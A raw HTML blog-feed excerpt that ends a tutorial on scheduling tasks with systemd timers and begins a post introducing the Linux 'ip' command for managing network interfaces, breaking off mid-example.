</code></code></pre><p>Here&#8217;s what each directive does:</p><ul><li><p><code>OnCalendar=*:0/10</code>: Runs the service every 10 minutes. The syntax <code>:0/10</code> means it triggers at every hour, at minutes 0, 10, 20, etc.</p></li></ul><blockquote><p>The <code>OnCalendar</code> derivative supports various time expressions, such as <code>daily</code>, <code>weekly</code>, <code>hourly</code>, or even specific dates and times.</p></blockquote><ul><li><p><code>Persistent=true</code>: Ensures any missed executions (e.g., due to system downtime) run at the next opportunity.</p></li></ul><ul><li><p><code>WantedBy=timers.target</code>: Sets up the timer to start automatically at boot.</p></li></ul><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h3>Step 3: Enable and Start the Timer</h3><p>Once both units are defined, reload systemd to recognize them and start the timer.</p><p>Reload the systemd daemon:</p><pre><code><code>$ sudo systemctl daemon-reload</code></code></pre><p>Enable and start the timer:</p><pre><code><code>$ sudo systemctl enable --now date.timer

$ sudo systemctl start date.timer</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Glfh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Glfh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 424w, https://substackcdn.com/image/fetch/$s_!Glfh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 848w, https://substackcdn.com/image/fetch/$s_!Glfh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 1272w, https://substackcdn.com/image/fetch/$s_!Glfh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Glfh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png" width="902" height="256" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:256,&quot;width&quot;:902,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27338,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Glfh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 424w, https://substackcdn.com/image/fetch/$s_!Glfh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 848w, https://substackcdn.com/image/fetch/$s_!Glfh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 1272w, https://substackcdn.com/image/fetch/$s_!Glfh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39487eb3-f7a4-4db7-8a31-dd9b636520e8_902x256.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Enabling the timer ensures it starts at boot, and starting it now initiates the 10-minute schedule without needing a reboot.</p><h3>Step 4: Checking the Timer Status</h3><p>To view the status of a timer and see when it last ran and when it&#8217;s scheduled to run next, use:</p><pre><code><code>$ sudo systemctl list-timers --all</code></code></pre><p>This command provides a list of all active timers, including system timers, allowing you to keep track of their schedules and confirm they&#8217;re running as expected.</p><p>You can also get specific details of a timer with:</p><pre><code><code>$ sudo systemctl status date.timer</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iyFZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iyFZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 424w, https://substackcdn.com/image/fetch/$s_!iyFZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 848w, https://substackcdn.com/image/fetch/$s_!iyFZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 1272w, https://substackcdn.com/image/fetch/$s_!iyFZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iyFZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png" width="1046" height="355" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:355,&quot;width&quot;:1046,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:53097,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!iyFZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 424w, https://substackcdn.com/image/fetch/$s_!iyFZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 848w, https://substackcdn.com/image/fetch/$s_!iyFZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 1272w, https://substackcdn.com/image/fetch/$s_!iyFZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75467c9d-37f2-44db-a10d-2d67e9571e69_1046x355.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This command provides information on whether the timer is running and when it will run next, helping you verify that everything is set up correctly. If you look at <code>/tmp/date</code>, you should start seeing timestamps every 10 minutes, confirming that your timer is working as expected.</p><p>And that&#8217;s it! You&#8217;ve set up a systemd timer to run a task at regular intervals, giving you a useful alternative to <code>cron</code> for managing scheduled tasks on your Linux system.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-5fh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-5fh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 424w, https://substackcdn.com/image/fetch/$s_!-5fh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 848w, https://substackcdn.com/image/fetch/$s_!-5fh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 1272w, https://substackcdn.com/image/fetch/$s_!-5fh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-5fh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png" width="823" height="198" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/17c29a35-6397-4097-a884-715fe46ac23b_823x198.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:198,&quot;width&quot;:823,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:14156,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!-5fh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 424w, https://substackcdn.com/image/fetch/$s_!-5fh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 848w, https://substackcdn.com/image/fetch/$s_!-5fh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 1272w, https://substackcdn.com/image/fetch/$s_!-5fh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c29a35-6397-4097-a884-715fe46ac23b_823x198.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>Step 5: Stopping and Disabling a Timer</h3><p>If you need to stop or disable a timer, it&#8217;s as simple as running:</p><pre><code><code>$ sudo systemctl stop date.timer

$ sudo systemctl disable date.timer</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EDVw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EDVw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 424w, https://substackcdn.com/image/fetch/$s_!EDVw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 848w, https://substackcdn.com/image/fetch/$s_!EDVw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 1272w, https://substackcdn.com/image/fetch/$s_!EDVw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EDVw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png" width="1046" height="445" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:445,&quot;width&quot;:1046,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:66277,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!EDVw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 424w, https://substackcdn.com/image/fetch/$s_!EDVw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 848w, https://substackcdn.com/image/fetch/$s_!EDVw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 1272w, https://substackcdn.com/image/fetch/$s_!EDVw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F475e1d0b-67fc-4fd8-9585-0959e5adcb77_1046x445.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Stopping a timer halts its current schedule, and disabling it prevents it from starting at boot.</p><h2>Understanding Timer Time Expressions</h2><p>One of the highlights of <code>systemd timers</code> is the flexibility of the <code>OnCalendar</code> directive. Here&#8217;s a quick overview of some common expressions you can use:</p><ul><li><p><code>daily</code>: Runs once every day at midnight.</p></li><li><p><code>hourly</code>: Runs at the top of every hour.</p></li><li><p><code>weekly</code>: Runs every Monday at midnight.</p></li><li><p><code>OnCalendar=*-*-1 00:00:00</code>: Runs at midnight on the first day of each month.</p></li><li><p><strong>Custom Times</strong>: You can also specify complex schedules, like <code>Mon *-1..7</code> for running the timer only on Mondays in the first week of each month.</p></li></ul><p>This flexibility is particularly helpful when you have tasks with non-standard scheduling needs.</p><h2>Advanced Features of systemd Timers</h2><ul><li><p><strong>Accuracy Settings</strong>: By default, timers may not execute at the exact specified time but within a variance defined by <code>AccuracySec</code>. This can be adjusted for precise scheduling.</p></li><li><p><strong>Transient Timers</strong>: These are temporary timers that exist only for the current session and can be created using <code>systemd-run</code>.</p></li><li><p><strong>Logging and Monitoring</strong>: Timers integrate with system logging, allowing you to monitor their execution history easily.</p></li></ul><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[EP1: Networking in Linux - IP command]]></title><description><![CDATA[In Linux, almost everything about networking, interfaces, IP addresses, routing, and even the ARP cache, can be controlled from the terminal.]]></description><link>https://blog.sysxplore.com/p/ep1-networking-in-linux-ip-command</link><guid isPermaLink="false">https://blog.sysxplore.com/p/ep1-networking-in-linux-ip-command</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sun, 09 Nov 2025 10:52:20 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c790e8ac-7640-4e21-8469-d125963db8b1_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In Linux, almost everything about networking, interfaces, IP addresses, routing, and even the ARP cache, can be controlled from the terminal. For many years, tools like <code>ifconfig</code>, <code>route</code>, and <code>arp</code> handled these tasks, but those commands have long been deprecated. Their modern replacement is the <code>ip</code> command.</p><p><code>ip</code> is part of the <strong>iproute2</strong> suite, included by default in all modern Linux distributions. It&#8217;s a powerful all-in-one tool for managing network interfaces, IP addresses, routes, and neighbor tables, replacing older utilities like <code>ifconfig</code>, <code>route</code>, and <code>arp</code>.</p><p>You&#8217;ll use it to bring interfaces up or down, assign addresses, inspect routes, create network namespaces and even manipulate neighbor (ARP) tables.</p><p>In this episode, we&#8217;ll focus on using the <code>ip</code> command to manage network interfaces, addresses, routes, and connections on a Linux system.</p><h3>Peeking Inside the <code>ip</code> Command</h3><p>Before we start experimenting, let&#8217;s look at how the <code>ip</code> command is structured.</p><pre><code><code>ip [ OPTIONS ] OBJECT { COMMAND | help }</code></code></pre><p>At first glance, this may look dense, but it&#8217;s actually straightforward once you understand the pattern. The structure is always:</p><ol><li><p><strong>Options</strong> &#8211; Extra flags that change how <code>ip</code> behaves globally.</p></li><li><p><strong>Object</strong> &#8211; What part of the network you&#8217;re interacting with.</p><p>Each object represents a kernel networking subsystem. Some common ones are:</p><ul><li><p><code>link</code> &#8211; network interfaces (Ethernet, Wi-Fi, loopback)</p></li><li><p><code>address</code> &#8211; IPv4 or IPv6 addresses on those interfaces</p></li><li><p><code>route</code> &#8211; entries in the routing table</p></li><li><p><code>neighbor</code> &#8211; ARP or NDP neighbor cache</p></li><li><p><code>maddress</code> &#8211; multicast memberships</p></li><li><p><code>rule</code> &#8211; routing policy database</p></li></ul></li></ol><blockquote><p><strong>TIP</strong></p><p>You can use short forms too: addr for address, r for route, l for link, and so on.</p></blockquote><ol start="3"><li><p><strong>Command</strong> &#8211; The action you want to take on that object.</p><p>Each object supports its own set of commands:</p><ul><li><p><code>show</code> or <code>list</code> &#8211; display information</p></li><li><p><code>add</code> &#8211; create a new entry (address, route, etc.)</p></li><li><p><code>del</code> &#8211; remove an entry</p></li><li><p><code>replace</code> &#8211; update an existing one</p></li><li><p><code>help</code> &#8211; display valid options and syntax<code><br></code></p></li></ul></li></ol><h2>Managing Network Interfaces</h2><p>Every network device in Linux, whether wired, wireless, or virtual, is represented by an interface. These interfaces are managed through the <code>link</code> object of the <code>ip</code> command.</p><p>When you use <code>ip link</code>, you&#8217;re listing and controlling the network interfaces recognized by the system.</p><p>Let&#8217;s start exploring.</p><h3>Viewing All Interfaces</h3><p>To see all interfaces currently recognized by your system, run:</p><pre><code><code>ip link show</code></code></pre><p>You&#8217;ll get output similar to:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CIUp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CIUp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 424w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 848w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1272w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CIUp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png" width="1074" height="229" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/760c5589-4045-4d51-8a91-b816baebb370_1074x229.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:229,&quot;width&quot;:1074,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:55698,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/178288655?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CIUp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 424w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 848w, 